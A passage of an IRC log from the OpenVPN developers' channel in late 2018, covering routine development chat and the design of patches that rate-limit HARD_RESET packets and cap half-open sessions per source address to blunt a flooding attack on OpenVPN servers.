17:10 <@dazo> I'd like to have a serious chat with the guy thinking CTRL-Q and CTRL-W are clever keyboard shortcuts for window operations ..... 17:11 < tincantech> ROFL 17:12 <@dazo> especially since CTRL-W in Emacs is "cut" 17:12 < tincantech> the "hitchhikers guide to the galaxy has this to say about the "marketing department" of the serius cybernetics corporation" 17:13 < tincantech> they *were" first up againts the wall when the revolution came 17:14 <@dazo> oh come on, move on ... don't loose yourself in that pit of ugliness 17:14 * dazo moves on 17:16 < tincantech> well .. somebody has to make a stand .. and at least, on this occasion, you have let me speak freely, altho I also conceed to being much less confrontational ;) 17:19 < tincantech> also .. you were complaining about windows .. so it seemed appropriate humour 17:21 <@dazo> I complained about keyboard hotkeys ;-) 17:25 < tincantech> I complained that ((get openvpn)) does not "get openvpn" .. ;-D 17:25 < tincantech> we are done i think ;) 17:38 < tincantech> dazo: do you know what a marketing person is thinking right now ? 17:40 < tincantech> tincantech | i do not have a single bookmark for https://openvpn.net/ .. not one 17:40 <@vpnHelper> Title: OpenVPN | The Worlds Most Trusted Virtual Private Network (at openvpn.net) 17:40 < tincantech> "marketing person": so what openvpn bookmqarks *does* he have ? 17:41 < tincantech> how can we heard this sheep ? 17:42 < tincantech> is "exploitation" a crime ........ hehehe 17:43 < tincantech> i am done now .. sorry about that last comment 18:21 < tincantech> s/ 18:21 < tincantech> foot ^ --- Day changed Sat Dec 01 2018 02:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:32 <@plaisthos> tincantech: what dazo says 10:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] --- Day changed Sun Dec 02 2018 02:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Mon Dec 03 2018 08:19 <@ecrist> mattock1: new facter package hasn't been published yet, might not be for a while. I tried building it from ports, but it's failing on a dependency build 08:19 * ecrist hates the ports tree. 08:25 <@ecrist> honestly, if you wanted to re-spin that box on linux, it wouldn't bother me that much. 08:25 <@ecrist> I can get the forum and such moved over. 08:48 <@cron2> plaisthos: can you uncrustify and re-send the block-ipv6 patch, please? I'd really like to close at least this one :-) 08:52 < tincantech> in the past, update-resolv-conf would output to the openvpn log the servers it was setting up as DNS but it no longer does and I can't get any "echo foo" from an --up script (with script-security 2) to echo to the openvpn log .. has something changed that I missed ? 08:53 <@ecrist> I don't believe --up ever output in the openvpn log 08:53 <@ecrist> output your environment in /tmp or something 08:53 <@ecrist> printenv > /tmp/foo.out 08:55 < tincantech> in the logs I have seen update-resolv-conf would output this to the openvpn log: DNS 12.34.56.78 08:56 < tincantech> i'll find onme on the forum 08:56 < tincantech> even so, i added explicity: echo "*** update-resolv-conf ***" 08:56 < tincantech> to the script but nothing is output to the log 09:01 < tincantech> it's a little old but here is an example of what i was expecting : https://forums.openvpn.net/viewtopic.php?t=15508 09:01 <@vpnHelper> Title: resolv.conf empty after disconnecting vpn - OpenVPN Support Forum (at forums.openvpn.net) 09:01 < tincantech> see the log file 09:03 < tincantech> the line 'echo "$option"' is still present in the current update-resolv-conf 09:04 < tincantech> and ftr, i have a whole suite of script i run and they all output info to the log file 09:04 < tincantech> hmm 09:08 < tincantech> some funky redirection in update-resolv-conf has changed 09:14 < tincantech> as soon as [ -x /sbin/resolvconf ] || exit 0 09:14 < tincantech> is executed output is no longer sent to openvpn.log but it is before .. 09:18 < tincantech> ahh .. got it ! .. helps if i install resolvconf .. whoopsie ;) 09:20 < tincantech> @ecrist | I don't believe --up ever output in the openvpn log .. yeah right .. 09:43 <@syzzer> lev__: I finally found some time to look at your NCP + --fragment fix 09:43 <@syzzer> although I don't yet understand why, it seems to fix the server-to-client fragmentation, but break client-to-server... 09:43 <@syzzer> as in, after applying you patch the client no longer sends too-small fragments, but rather far-too-large ones 09:45 <@syzzer> setting --fragment 500 on both sides, and pinging between client and server (either direction) makes the server now generate 494-byte packets, while the client generates a 1614-byte packet... 09:45 <@syzzer> (ping -s 500 -n 1, that is) 09:46 <@syzzer> oh, -c 1, not -n 1 09:49 <@syzzer> hrmpf, and switch client-to-server vs server-to-client 10:00 <@cron2> syzzer: welcome back, we've missed you 10:01 <@syzzer> cron2: thanks, I missed you too <3 10:08 < tincantech> re that update-resolv-conf : https://github.com/masterkorp/openvpn-update-resolv-conf/issues/30#issuecomment-443690407 10:08 <@vpnHelper> Title: Limitations on Fedora 29 · Issue #30 · masterkorp/openvpn-update-resolv-conf · GitHub (at github.com) 10:08 < tincantech> three things jump out: 10:08 < tincantech> 1. no openvpn versioppn 10:09 < tincantech> 2. openssl 1.1.1 FIPS (does not even exist) 10:09 < tincantech> 3. openvpn does not take down the tun device before --down executes or we would have hell to pay 10:09 < tincantech> looks like a wind up 10:29 <@plaisthos> cron2: okay will do 10:31 <@plaisthos> welp my auth-token patch conflicts with it :( 10:35 <@cron2> plus the push-peee-info patch please 10:37 <@plaisthos> yeah I am doing the extra stuff too 10:37 <@plaisthos> btw. to test without ipv6-ifconfig 10:38 <@plaisthos> eitehr just run a server, that will send a icmpv6 reject then to any client that sends ipv6 10:38 <@plaisthos> or just do an ip add ipv6 tun0 10:38 <@plaisthos> The patch works that way with OpenVPN 2.2. :D 10:39 <@plaisthos> cron2: ENABLE_PUSH_PEER_INFO is not in master anymore so I am bit confused by your statement there 10:44 <@cron2> now i'm confused as well 10:45 <@cron2> can't check right now (only mobile on tablet) but will re-check my trees tonight... 10:47 <@mattock1> btw. I upgraded my server a few weeks ago to Debian 10 so buildslaves have been offline 10:47 <@plaisthos> debian 10 already out? 10:47 <@mattock1> today I migrated over some of the old VMs and started building a couple of new ones (ubuntu-1804-amd and fedora-29-amd64) 10:47 <@mattock1> plaisthos: no, but I did not want to go to Debian 9 and upgrade it two months later 10:48 <@mattock1> it is in alpha-2 or something 10:48 <@mattock1> good enough in my particular use-case 10:48 <@cron2> any of mine still offline? 10:48 <@plaisthos> ah okay 10:48 <@mattock1> cron2: your should not be affected at all 10:48 <@cron2> good 10:48 <@mattock1> because the Buildmaster is in AWS 10:48 <@mattock1> my slaves are on my own home server 10:48 <@plaisthos> mattock1: but good to know. Need to probably look into support for it soon enough 10:49 <@mattock1> plaisthos: yeah, the same here with sbuild_wrapper 11:45 <@cron2> plaisthos: thanks. will look later 12:05 -!- vectr0n_ is now known as vectr0n 13:49 * cron2 looks at plaisthos' patch and rolls eyes... 13:49 <@cron2> body says "PATCH v6", Subject says "v7" :-) 14:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:30 < tincantech> appears Fedora 29 is includubg openssl 1.1.1 FIPS 15:30 < tincantech> $ src/openvpn/openvpn --version 15:30 < tincantech> OpenVPN 2.5_git [git:master/c3f565f0590b152c] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Dec 3 2018 15:30 < tincantech> library versions: OpenSSL 1.1.1 FIPS 11 Sep 2018, LZO 2.08 19:40 <@ordex> cron2: whip him ! 19:52 < tincantech> ordex: chain him to the "bikeshed" 19:52 <@ordex> lol 19:53 < tincantech> i imagine that language he uses is how a programmer thinks to construct a foreign language ;) --- Day changed Tue Dec 04 2018 00:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:39 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:05 <@plaisthos> cron2: hm, strange 04:08 <@plaisthos> oh I did a -v7 instead of -v6 04:18 <@mattock1> meeting tomorrow? even I might remember to join it 04:24 <@cron2> mattock1: I'm available, so yes 04:25 <@cron2> plaisthos: indeed :-) 04:32 <@mattock1> ok I will prepare the agenda then 04:32 <@cron2> tls-crypt-v2 is done :-) 04:32 <@cron2> on the tap driver side, haven't heard anything from Steven in a while :-/ 04:35 <@mattock1> oh yes that is true 04:37 <@mattock1> ok here it is: https://community.openvpn.net/openvpn/wiki/Topics-2018-12-05 04:37 <@vpnHelper> Title: Topics-2018-12-05 – OpenVPN Community (at community.openvpn.net) 04:37 <@mattock1> I'll send the invitation, but feel free to edit the page 08:57 <@plaisthos> hm I am not sure but I think using git describe to infer the version of my app is wrong 08:57 <@plaisthos> it s now v2.4-rc2-407-g9be8880a 08:58 <@plaisthos> basically v2.4 release candidate, only 407 commits on top! 09:20 <@cron2> that is because we have no tags in master 09:20 <@cron2> and 2.4-rc2 is the last tag we have... 09:20 <@cron2> "I think we should have some tags in master", like "tlscryptv2" or so, to describe "something interesting has happend there" 09:23 <@mattock1> tags are cheap 09:23 <@mattock1> so makes sense 09:25 <@cron2> can you put that on the agenda, so we sort of agree on "when and what"? 09:26 <@cron2> (I can do monthly tags as well, like "2018-12"...) 09:26 <@mattock1> yes 09:27 <@mattock1> done 09:54 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 09:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:57 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 10:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:21 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:46 <@vpnHelper> RSS Update - gitrepo: Add tls-crypt-v2 to the list of supported inline options <https://github.com/OpenVPN/openvpn/commit/584b1717e7eaa8e44c675efb1f2dcbbaed2c0db3> 10:47 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 10:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 10:55 <@plaisthos> that was a record time for the patch 11:41 < tincantech> but did it break builder-cron2-freebsd-74-amd64 :D 12:32 <@cron2> that was just stupid timing 12:32 <@cron2> that buildslave is used for the server test (as remote agent) and if buildslave tries to use it at the same time, t_client test fails 12:33 <@cron2> I've moved the server test to 5pm local time so it normally doesn't collide (because I *normally* do not commit around that time) 13:42 <@cron2> plaisthos: since I'm lazy today... what is an ND_INVERSE_SOLICIT? I know 132..136, but have never encountered 141+142 yet 13:59 <@cron2> I do not like process_ip_header()... checking all these options for every packet, just to reset flags again and again 13:59 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:59 <@cron2> for 2.6 we might want to introduce a generic "flag mask" which is set once and then just &ed to flags... 13:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 14:09 <@cron2> whee... haven't been here in a while... 14:09 <@cron2> Your branch is behind 'delta2/master' by 567 commits, and can be fast-forwarded. 14:10 <@cron2> (use "git pull" to update your local branch) 14:32 <@vpnHelper> RSS Update - gitrepo: Implement block-ipv6 <https://github.com/OpenVPN/openvpn/commit/e11d2d14a9ef5311f791a9a614ab367c6f50ff11> 15:49 <@vpnHelper> RSS Update - tickets: #1144: Update man page -> several invocations of tls-verify, one per cert of the chain <https://community.openvpn.net/openvpn/ticket/1144> 16:44 <@ordex> cron2: how about adding a call to flock on some file in the t_client script (or any upper layer buildbot script) to avoid these timing issues? should be a fast, dirty and easy solution no? --- Day changed Wed Dec 05 2018 01:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:25 <@cron2> ordex: "just run one set of tests on a different machine" is way easier. It's just a matter of "someone needs to do it" 01:26 <@ordex> yeah, this is why I thought that using a flock have been "easier", as in "less effort" 01:26 <@cron2> nah, interfering with buildbot is never "easy" 01:32 <@ordex> I can imagine 01:49 <@cron2> *sigh* 01:50 <@cron2> syzzer: how's your time availability these days? 01:55 <@ordex> cron2: thanks for taking care of the email on security@ 01:57 <@cron2> the Internet is so full of shit these days... and people are all full of shit... this is such a waste of lifetime... 01:57 <@cron2> but I just heard from colleagues from the german ISP community that this indeed is an issue that they have seen 01:58 <@ordex> yap, use tls-auth/crypt :) 03:07 <@cron2> do we have infrastructure in the openvpn 2.x code that can be reasonably used to rate-limit incoming P_CONTROL_HARD_RESET_CLIENT_V2 packets? As in "if more than <n> packets per <m> seconds come in, ignore" (possibly log, but only once per "block from now on" event) 03:07 <@cron2> it would needs to be done on a per-source basis, so hash table, expiry, overflow, timers, ... :-/ 03:41 <@ordex> when is the per-client context object allocated? if it's allocated upon reception of the first message, we might be able to handle it there.....but then the attacker would just need to change source port.. 03:47 <@syzzer> cron2: available time remains very limited 03:48 <@syzzer> but at least I hope to be able to follow the mailinst list / IRC backlog again 04:17 <@cron2> ordex: yeah, we can actually protect our end that way, by not allocating a per-client context for "just garbage" 04:17 <@cron2> so, attacker sending 1 packet per source port, then changing port, and sending 1000 packets/sec 04:18 <@cron2> we reply with 4000 packets/sec and log like 20.000 lines/sec to syslog (on verb 4) 04:20 <@cron2> syzzer: the lack of time is unfortunate, I hoped I could shove patch review for plaisthos' TLSv1.3 related patches on your plate... 04:33 <@syzzer> cron2: I'll try, but I can't make promises... 04:34 <@cron2> thanks 04:41 <@plaisthos> Isn't most of the TLS 1.3 stuff in already? 04:41 <@plaisthos> apart from the tls ext uth 04:41 <@plaisthos> for which I need to do another round 06:13 <@plaisthos> tincantech: a man page change breaking a builder? 06:13 <@plaisthos> I think this time I am truely innocent 07:17 < tincantech> plaisthos: cron2 explained, it was just a coicedence :) 08:42 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Ping timeout: 252 seconds] 08:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:50 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 09:50 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:56 <@plaisthos> hmmm 09:56 <@plaisthos> ordex: what is our style guide about lines with more than 80 chars 09:57 <@plaisthos> I thought that we never want more than >80 apart from legacy lines but I see syzzer managed to get a line with 128 char from tls-crypt v2 in 10:13 <@plaisthos> When I hear names like "Perfect Privacy VPN" ... 10:24 <@cron2> we also managed to get in conditionals without {} braces... 10:24 <@plaisthos> yeah, but that is changed by crustify 10:24 <@plaisthos> the 80 char limit isn't 10:25 <@cron2> I think we agreed on something like "80 character limit, except when wrapping is even more ugly" or so 11:50 < tincantech> "We are currently down for maintenance. Please try back again soon" .. oooooo 11:51 < tincantech> are they changing that erfing button :) 11:52 < tincantech> bah .. just the spam filter 15:40 <@vpnHelper> RSS Update - gitrepo: Adds support for setting the default IPv6 gateway for routes using th… <https://github.com/OpenVPN/openvpn/commit/d24e1b179b95a57b81d9802c13426b5cde66de10> 15:55 <@ordex> plaisthos: what cron2 says - hopefully uncrustify won't make our life miserable because of that 15:56 <@cron2> it won't. If you look at patches 624, 625 and 626, you can see which changes uncrustify does to our current source tree - it's not that bad 15:57 <@ordex> good, then we can keep our "reasonable" rule for the 80chars limit. plaisthos just don't try to be lazy :P 15:57 <@ordex> and good morning 16:04 <@cron2> good night :) 17:50 <@ordex> tls-crypt-v2 is also in openvpn3 weeeeeee :] 20:31 <@dazo> tincantech: I'm very close to the final openvpn3-linux v1 beta release ... but basically what's in gitlab/github right now contains what it the release normally needs. I've also added some preliminary man-pages too, and I hope you'll be delighted to see they are based on .rst files --- Day changed Thu Dec 06 2018 01:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:29 <@syzzer> lev__: did you see my remarks about the fragment+ncp fix ? 04:00 <@cron2> syzzer: if I wanted to apply some rate limiting on incoming P_CONTROL_HARD_RESET_CLIENT_V2, I assume ssl.c/tls_pre_decrypt() in the "if (is_hard_reset())" branch would be the right point? 04:21 <@syzzer> cron2: yes, I'd think so 04:29 <@cron2> yeah 04:29 <@cron2> this works 04:30 <@cron2> Dec 6 11:24:03 mariotte2 openvpn[57381]: 139.99.179.170 incoming HARD RESET: rate-limiting packet! 04:30 <@cron2> and it immediately catches assholes 04:30 <@syzzer> oh, nice :) 04:30 <@syzzer> if it's clean and simple, we should really do that. I just just fearing complexity. 04:30 <@cron2> (this is in no way production ready, it doesn't do per-source-ip, just "maximum 3 hard reset per 10 second" - which is good enough for the reconnect rates seen here) 04:31 <@cron2> I think I can make this "nice and simple" by just ignoring HARD RESET when there is already a handshake going on for the IP address 04:31 <@cron2> (so, no buckets, no extra timers, no extra hashes) 04:31 <@cron2> I'll report when I have some useful code :-) 05:30 <@dazo> LOL! 05:30 <@dazo> $ fping -r 1800 localhost 05:30 <@dazo> fping: these options are too risky for mere mortals. 05:30 <@dazo> fping: You need i >= 10, p >= 20, r < 20, and t >= 50 05:32 <@plaisthos> lol 05:58 <@plaisthos> fping --i-am-god? 06:09 <@dazo> :-D ... unfortunately :( 07:20 <@syzzer> sudo fping :) 08:11 <@syzzer> plaisthos, cron2: when I have multiple VPN servers, and I want to load-balance between then, should I use round-robin DNS, or multiple remotes (with remote-random?), or ... ? 08:38 <@cron2> "yes" 08:38 <@cron2> I think round-robin DNS or multiple remotes will work equally well in the end 08:41 <@syzzer> okay, thanks, I recall some discussion about this, but couldn't find the mail thread 09:44 <@cron2> this code is too magic for me 09:44 <@cron2> looking at management_callback_kill_by_addr() to see how to walk the list of connected clients 09:45 <@cron2> can't find how "arg" is ever *set* in management.persist... *argh* 09:47 <@cron2> init_management_callback_multi() 09:47 <@cron2> argh 09:47 <@cron2> calling things "cb" and "m" there 09:53 * cron2 is not happy 09:54 <@cron2> what I *want* is a pointer to multi_context, what I have is a pointer to tls_multi, which is not helping me (I think) 09:54 <@plaisthos> syzzer: with 2.4+ multiple remote with remote-random and dns with multiple records will actually be the same 09:55 <@plaisthos> as the internal logic tries all addresses that get returned by getaddrinfo 09:55 <@plaisthos> if you have multiple addresses the client tries them all 10:02 <@cron2> this is a maze of twisty passages all looking alike... 10:15 <@cron2> what 10:15 <@cron2> we do have a connection limiter... 10:15 <@cron2> if (frequency_limit_event_allowed(m->new_connection_limiter)) 10:15 <@plaisthos> cron2: yeah, I know the feeling 10:15 <@cron2> mudp.c 10:15 <@plaisthos> :D 10:16 <@cron2> connect-freq 10:17 <@plaisthos> you wind this round of obscure options 10:17 <@cron2> --connect-freq n sec 10:17 <@cron2> Allow a maximum of n new connections per sec seconds from 10:17 <@cron2> clients. This is designed to contain DoS attacks which flood 10:17 <@cron2> the server with connection requests using certificates which 10:17 <@cron2> will ultimately fail to authenticate. 10:17 <@cron2> so it seems I found the right spot to put this in, after all... 10:17 <@plaisthos> hehe 10:17 <@plaisthos> I never ever heard of this options 10:18 <@cron2> \o/ I win! 10:18 <@plaisthos> it is also not used in openvpn as 10:18 <@plaisthos> (the one place that sometimes uses these obscure options) 10:19 <@plaisthos> and syzzer forgot to add tls-crypt-v2 to that option :) 10:19 <@plaisthos> in the manpage 10:20 <@cron2> and indeed, it works 10:20 <@cron2> Thu Dec 6 17:20:13 2018 us=710036 MULTI: Connection from 195.30.0.18 would exceed new connection frequency limit as controlled by --connect-freq 10:24 <@cron2> it's not as good as I want, though :-) 10:25 <@cron2> (it restricts creation of new instances, but if you send P_CONTROL_HARD_RESET_CLIENT_V2 with the same source port, the server will happily answer every single packet) 10:26 <@cron2> and this is what I've seen today - ongoing "udp source=80, dest=1194" garbage coming in 10:41 <@cron2> syzzer, plaisthos: what happens if I have a working session btween alice and bob, and send P_CONTROL_HARD_RESET_CLIENT_V2 packet with alice's source to bob? 10:42 <@cron2> will it cause a TLS reauth or "session fail, game over", or...? 10:55 <@cron2> Thu Dec 6 17:55:34 2018 us=145827 195.30.0.18 MULTI: incoming 'P_CONTROL_HARD_RESET_CLIENT_V2' - ignore packet (only 3s since last reset) 11:00 <@cron2> so, I have something which is totally trivial and you can then still not-like to your heart's content :-) 11:00 <@cron2> patch coming 13:21 -!- krzie [b3345483@openvpn/community/support/krzee] has joined #openvpn-devel 13:21 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:57 <@cron2> IV_GUI_VER=net.openvpn.connect.ios_3.0.2-894 14:57 <@cron2> why is that not advertising IV_NCP? 14:57 <@cron2> mmmh, I have another iOS client that *is* sending IV_NCP=2 14:57 <@cron2> fun 19:53 <@dazo> cron2: perhaps the "AES-CBC cipher algo" setting has been enabled? 19:58 <@ordex> hmm but that's for the TLS negotiation, not for the data cipher 19:59 <@dazo> oh, I thought it took control of the data channel too 20:00 <@ordex> hmmmm 20:01 <@ordex> should not 20:01 <@dazo> I trust you more than myself in this area :) 20:02 * dazo calls it a day now :) 23:13 -!- krze [94ffa46e@openvpn/community/support/krzee] has joined #openvpn-devel 23:13 -!- mode/#openvpn-devel [+v krze] by ChanServ 23:52 -!- krze [94ffa46e@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] --- Day changed Fri Dec 07 2018 00:50 <@ordex> does it make any sense to have auth-gen-token without auth-user-pass-verify ? 00:51 <@ordex> plaisthos: ^^ 01:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:24 <@cron2> good morning 02:24 <@cron2> so, dazo, ordex, plaisthos, syzzer: are you around, in a good mood, and can we get something done today? 02:25 * cron2 is here from now (09:30 local time) to about 18:00 local time... and most of the day is set aside for "OpenVPN" 02:25 <@mattock1> morgen 02:26 <@mattock1> before I forget: I will be on paternal leave on January 02:26 <@mattock1> but if 2.5 needs to go out, it needs to go out 02:26 <@cron2> I hope this will mostly affect paid work, and not community ;-) 02:26 <@mattock1> well the amount of community work I've done recently - you should not see much of a difference :D 02:27 <@mattock1> I will try to get everything prepared for 2.5 at my end before Jan 02:27 <@mattock1> so that I can "leisurely" make any releases we need 02:38 <@cron2> mattock1: can you see dazo in your internal chat? 02:46 <@mattock1> cron2: no, but he was active 3 AM this morning his time 02:46 <@mattock1> which may explain his absence 02:46 <@mattock1> :P 02:49 <@cron2> ok, so let's hope for the best for today... :-) 02:54 <@mattock1> yeah 04:30 <@cron2> so, this wasn't very productive yet... 04:30 <@cron2> syzzer: ping? 04:32 <@syzzer> cron2: hi :) 04:32 <@cron2> oh, cool :-) 04:32 <@cron2> syzzer: two things :-) - one easy one: what do you think about https://patchwork.openvpn.net/patch/631/ 04:33 <@vpnHelper> Title: [Openvpn-devel] Rate-limit incoming P_CONTROL_HARD_RESET_* packets. - Patchwork (at patchwork.openvpn.net) 04:33 <@syzzer> cron2: glanced over it yesterday. Concept looks good, but I'm a little worried about what the 'right' numbers are. 04:34 <@cron2> this should suit your requirements wrt added complexity, and it stops the "many packets coming back" reflection nicely 04:34 <@cron2> well, there's only one number in it :)) - "10" means "an attacker can get about 4 packets / 10 seconds out of an openvpn-server by sending arbitrary amounts of RESET packets" 04:34 <@cron2> (using the same source port = same instance) 04:35 <@syzzer> oh, and style-wise, I would have preferred it in a (static) function with a nice name, so the code reads more naturally :) 04:35 <@cron2> I am not as well versed in openvpn protocol questions as you and dazo - but I think that a RESET is usually a "once in a while" thing, and one shouldn't see them often 04:36 <@cron2> (in the same instance, so, same source ip+port) 04:36 <@syzzer> cron2: yeah, I wanted to try and think about whether those numbers are reasonable. I assume so, because you know this stuff pretty damn well, but an ACK requires independent thinking ;-) 04:36 <@cron2> style-wise, I'm fine making this into 04:37 <@plaisthos> ordex: we don't have auth-gen-pass-verify without it or do you mean checking in options.c and rufuse it? 04:37 <@cron2> if ( rate_limit_reset_packets(multi) ) 04:37 <@cron2> { 04:37 <@cron2> goto error; 04:37 <@cron2> } 04:37 <@cron2> ;-) 04:37 <@syzzer> cron2: exactly :) 04:38 <@cron2> so, waiting to see what independent verification of the theory results in 04:38 <@cron2> second question... 04:38 <@cron2> we see two different style of attacks 04:39 <@cron2> one is "from the same source ip+port, 1000s of RESETs are sent" - this is all in a single instance, so the patch nicely reduces this to few packets in response -> covered 04:39 <@cron2> the other one is "1000s of RESETS, all coming from different source ports" - this causes a new instance to be created for every packet, resulting in ~4 reply packets per instance 04:40 <@syzzer> yeah, that one is more tricky 04:40 <@cron2> "--connect-freq 3 20" will stop these, *but* tonight we had the attackers actually drown out legitimate connections 04:40 <@cron2> so our monitoring complained that the server was down, etc. 04:40 <@syzzer> yes, makes it a very effective DoS attack... 04:41 <@cron2> so I had the following indea (which, at the end of the algorithm, will lead to the question :-) ) 04:41 <@cron2> if (we need a new instance) 04:41 <@cron2> { 04:41 <@cron2> walk all existing instances 04:41 <@cron2> if ( same source IP *and* in TLS 'first packet' phase) 04:42 <@cron2> count++ 04:42 <@cron2> if (count > arbitrary_limit, like "3") 04:42 <@cron2> {refuse new instance} 04:42 <@cron2> } 04:42 <@cron2> not sure if the result will be good, but I want to give it a try 04:43 <@cron2> the question is: what field in the (large) instance / tls_multi structure do I look at to determine "this is a nascent connection that has not fulfilled its TLS handshake yet" 04:43 <@syzzer> probably also needs some time-out? 04:43 <@syzzer> oh, no, we already have that ofc 04:43 <@cron2> well, the "existing instances" will be processed normally - so either they complete their TLS handshake (good) or fail (will be cleaned up elsewhere) 04:45 <@cron2> (having to walk all existing instances for every packet to look for matching source IP might be a bad idea for very large servers, yes) 04:45 <@syzzer> you need to check for the S_INITIAL state 04:46 <@syzzer> or maybe you want ks->state < S_START 04:48 <@cron2> the description in ssl_common.h sounds like "< S_START" is good 04:48 <@cron2> now what's the path from "instance" to "ks->state"... 04:48 <@syzzer> struct key_state *ks = &session->key[KS_PRIMARY]; 04:49 <@cron2> and session is multi->session[number] 04:49 <@syzzer> where struct tls_session *session = &multi->session[TM_UNTRUSTED]; 04:49 <@syzzer> (I think, in this case_ 04:50 <@cron2> not sure 04:50 <@cron2> there's a comment in ssl.c that says 04:51 <@cron2> * If we have no session currently in progress, the initial packet will 04:51 <@cron2> * open a new session in TM_ACTIVE rather than TM_UNTRUSTED 04:52 <@cron2> so what's the difference here? and how do I know which one I need to look at? 04:54 <@cron2> but there is also 04:55 <@cron2> * No match with existing sessions, 04:55 <@cron2> * probably a new session. 04:55 <@cron2> struct tls_session *session = &multi->session[TM_UNTRUSTED]; 05:41 <@syzzer> oh boy :') 05:42 <@syzzer> in that case my memory is not sufficient to give decent advise... 06:01 <@dazo> cron2: as I've understood it, the RESET OP messages are primarily used to reset the session keys/state ... so they will re-trigger a new TLS negotiation, which is not something you want to see too frequently 06:02 <@dazo> well, reset session keys/state as well as handle key rotation 06:18 <@cron2> dazo: this is how I understand things - something not happen very often, so for the same instance it shouldn't happen more often than "once per <t> seconds" 06:24 <@dazo> I believe having $t between 15-30 seconds is absolutely appropriate .... the normal key negotiation timeout is 60 seconds 06:25 <@cron2> so I'm not totally off here, which is good :-) (the patch is running on $customer production servers since yesterday and is not showing adverse effects on normal users) 06:25 <@dazo> when the key negotiation timeout happens, a RESET message is snet 06:25 <@dazo> *sent 06:28 <@dazo> this back-off mechanism will probably hurt those with connectivity issues where it would be nice to accept a more frequent reset ..... but ... they have connectivity issues, and this scenario has a lesser impact (due to less occurrences) compared to a server being bombarded with RESET messages way too often 06:28 <@dazo> without any real valid reason 06:33 <@cron2> connectivity issues would be "so many lost packets that the TLS handshake fails"? 06:34 <@cron2> but with the timeout being 60 seconds, you shouldn't see RESETs (for the same instance) much more often, still... 07:30 <@cron2> ok, so this seems to work :-) 08:00 < tincantech> cron2: just curious, is your "filter" at the --tls-auth/crypt/v2 level or not ? 08:02 <@cron2> tincantech: before 08:03 < tincantech> ahh right thanks 08:03 <@cron2> (the new approach that I'm about to send to the list happens before we even allocate memory for a new incoming session, the other one before we spend cycles on tls_auth) 08:04 < tincantech> i might be able to test it ;) 08:06 < tincantech> ordex: please take a gander https://forums.openvpn.net/viewtopic.php?f=36&t=27539 08:06 <@vpnHelper> Title: Adaptive does not work with OpenVPN Connect 3.0.2 on iOS 12.1 - OpenVPN Support Forum (at forums.openvpn.net) 08:21 <@cron2> argh, that in-reply-to was not what I wanted 08:22 <@cron2> seems I never sent v1 of the patch before starting v2... anyway, here we go... 08:22 <@cron2> https://patchwork.openvpn.net/patch/633/ 08:22 <@vpnHelper> Title: [Openvpn-devel,v2] Stop state-exhaustion attacks from a single source address. - Patchwork (at patchwork.openvpn.net) 08:22 <@cron2> syzzer: something to pain your brain with :-) (and yes, it needs cleanup, I just want to hear feedback on the general approach) 08:54 <@vpnHelper> RSS Update - tickets: #1145: Static challenge not working since OpenVPN Connect 3.x <https://community.openvpn.net/openvpn/ticket/1145> 09:11 <@cron2> so 09:11 <@cron2> enough OpenVPN work done today, now I need to bake a cake 09:12 <@cron2> the "I am here all Friday, so hopefully we can get stuff done" experiment did not exactly work the way I hoped, though... 10:13 -!- krzie [b3345483@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 11:00 <@syzzer> cron2: cool! 13:13 < tincantech> cron2: how about an exception table ;) 13:50 <@cron2> tincantech: complexity... and it shouldn't actually be necessary anymore with the new patch, as one bad actor won't be able to drown 